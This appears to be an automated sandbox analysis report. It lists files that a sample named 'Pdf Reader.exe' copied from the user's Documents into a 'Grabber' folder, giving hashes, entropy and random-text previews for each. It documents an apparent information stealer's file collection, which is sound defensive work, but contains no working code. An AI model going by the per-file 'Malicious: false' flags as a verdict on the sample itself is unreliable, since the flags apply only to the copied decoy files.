Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Documents\JSDNGYCOWY.jpg

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690895772725941
Encrypted:	false
SSDEEP:	24:ZTWQe0oC6OG/K8Vsypd0HuXw0xVfU/Vzv98UU:ZTWQr2VyXysHIwcGKUU
MD5:	A002E80B55673139253599B753BDC01A
SHA1:	6AEEF831A5AAB9155AAABB52D173859E20A86932
SHA-256:	F3484FA4E615D7134AC1BF4C3355C6AD63B32AC3CD096345C5EBF6B0CE6669A0
SHA-512:	D4A9257255BA4610E904C005F6734E65D5B0B4489E645792F3AB52AFD59B4B76E4B0FCE1F3457D7E5D3DA3101DAAC80A926FA513B77DAB01F2DAC5F5C4304CA7
Malicious:	false
Preview:	JSDNGYCOWYHKSOWFGCIERRTFYJMLBLSAMTEZRBUWFRXYICIUHZNIMVLJXTFXQNXACRFWSEWJBERQHLEBPYXRECCWDJKIIOUGNYQMGAHSLOPLLALAEDDKJTOOCDGYIBOWZZREIEWSXQRGULZIXFYNIUMNTNALWVABHVLKEJLBKGOKXZWDSWRTTLTQLNTZDYMSECYMQISNCNIAJOWDCCMHWLIVFACQKZXXZJOSENBJHZELIVOCAHDNZGZILFSILTSAJXDBFAIPHVHXYHJHVMVHKVOMYOGGVIKVJUVYLDFTICBCZKSVRDRTALSXFNMCPLGOGSEBKXSHSHVDVDKWEHNIBLPTMWICAACVFWPQNIUVLFSAWPOGDJFOGTXDHMTFWREVZXCABJCKFYXJGAHKTXNFLIILTMBRTKACTMOVDBLCVYDVLNCDXAAINTGCCRZPDTOFCWZWTHLCVGRTQPEBHUFYWLTLNUIOFLOUTCINZEJUVLTZPPDBVDEELCGFQSGJPRJBEALQLZQAYAQRUTUANCYUZJENWEIISDNULLJXJUPBQHEJEUVMKMEUQRDHXPAZVIFDUGNWXKXYWIQQNJNRMYCLJLHWESVCNCQSXILKRQFSYEDZSBHSLAYIWWOVRVVSWUFEAQPMAPAKFCXFBDIPKHPSFGVOJCEEBALPVQKECBBUCTQGQXOQAPOOYAPYQXNDLKJDRFQDILPIWRGDYTFUHSZLJICMMUSSHGHNLKNEDYXJSPECVTAEQTVXATOODAVROWNAPCHDRRBHVDVWBGOSCJGDENAGFCYDIHAPBWLJNOPCQCPTSOHGQQMHEAKRBOBSEHAOMGXJVYWJGLSIQJUOMYPNZTOFVNNMRIVMHOCFZTLTEDAGEXGJXLNRLSHJQGFHIJDLJHOPPMFPYEIXPRQCTRDIYDJEHHSKFBRZMXLZJBDDOYCXQJBCBQFRXVCYCHXKGNDWEEUUKPAGVHHOXFZXZEWWCOVSFYZHILZJQQKFHCLR

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Documents\KATAXZVCPS.jpg

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	false
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Documents\KATAXZVCPS.xlsx

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	false
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Documents\NWTVCDUMOB.jpg

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696250160603532
Encrypted:	false
SSDEEP:	24:5Gvoddnzj/gxR0e7uyJ9MLyy07KpRnPgNcnA+2/nSgTfK0Xzy:wv4zCR0ouAMG3wPgNuAZnSQXzy
MD5:	2B6A90B7D410E3A4E2B32C90D816B4FE
SHA1:	B8CD90C4CDCF41CBF18D88A4C01BBA22F670AD83
SHA-256:	D65D483904467EB7373EDA8DFAE2070C057FC93465A4AC5C9FEF8B42340D9DAB
SHA-512:	03AFBF42E5C04E928D03C687B0F17A0AB15428C78958B206DC6C50118B961C9DDF88A6E53B3115F09FDEE44EAFA46B262933164055532D3B4B4F9265F42A6C58
Malicious:	false
Preview:	NWTVCDUMOBTPRQQPHXQLIMGPJXTEMPBNYLBFKQFUEVGISJSVQRMPMZSAYEYQSOTUAJFILXLTKFEVHLSAMYEEFLNJSHLTTFXRTDNUGXEFIGVCAWPMDNUICDIZGPHMESKWSMUPNOFEVXFTSHSKLCVHQTNKDHDMDRJOUTEUSCAUAVMVBMOSYKKRPPZYFUGXFXWMWRACKFCQOUHITLUCHGFZEOIPNCJFJOVBZIKDRNERXOSPKSRMHKTJUGFEOONFWLVNTJWXUFPADWYIUDKAZQXCZRFPUQQAMRTIOEHUDTLGOWYMIDOZAXTLGVEGUCQLJZGMIEQYOLWEMSGZUBWXOIBQEMQLQVGRBTUICFCEJGFTZRZCKJQEMATEONIMJKBYGQYDYXOLLROWXGYCNCVPTMRZSMMSZXKMNPSCJJJKKNRAJXGSLZNKJRJRGMCCCBCIGTLTFKNVDVIHYLGRNXDVIVWBCPNKNIFJAPQQWDQQEDDKNHVJRQJTKCUADORWREEDYTVFAOWHPNXWSNAJCVXCLLTNQPMJQHDILFNQUZJZZJJMMNDNGEBEGSTVAGZJMSMZHWJKNIAFGBUYMVADKCVLDGFQETUZXGUOUWXBBPNOWFERKMKMPOXIOTKJERPVXJGCIUKAGDGITLFYRIBAPKRESMNOMTVTZCXMODUUIGFMEMBMGAGXFZGAAZFCXDWBKKCPUKFFNMVKDFFVZYWKEKBWMADWDZXUIOOLCLIACESGRBJRSMXKUSOKXJEICCPRFWSISDTKVTDVAYSWLRHTWJGCXQMNITQJHCBMSCDRWKMGADWILLATOPVPILEQQGAIPRRUCJFTRRSSWITQKIWJOATZOBETZDBBWAIJIOXCUQSILQHQKEZXWFWWNVEWKZCGFYPBDSDBSFAZDZFRHJBZIGOZCVUGODUTNCDHKKMFHSYKUSFSXOMOUXZYOSUZNJQBXAVPOBTVBINMSIPYONLYRKIHONKWHSUAJWIALOTZAQJSNTIH

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Documents\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Documents\ONBQCLYSPU\HTAGVDFUIE.png

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Documents\ONBQCLYSPU\KATAXZVCPS.jpg

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	false
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Documents\ONBQCLYSPU\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Documents\ONBQCLYSPU\UMMBDNEQBN.pdf

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Documents\ONBQCLYSPU\VLZDGUKUTZ.xlsx

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
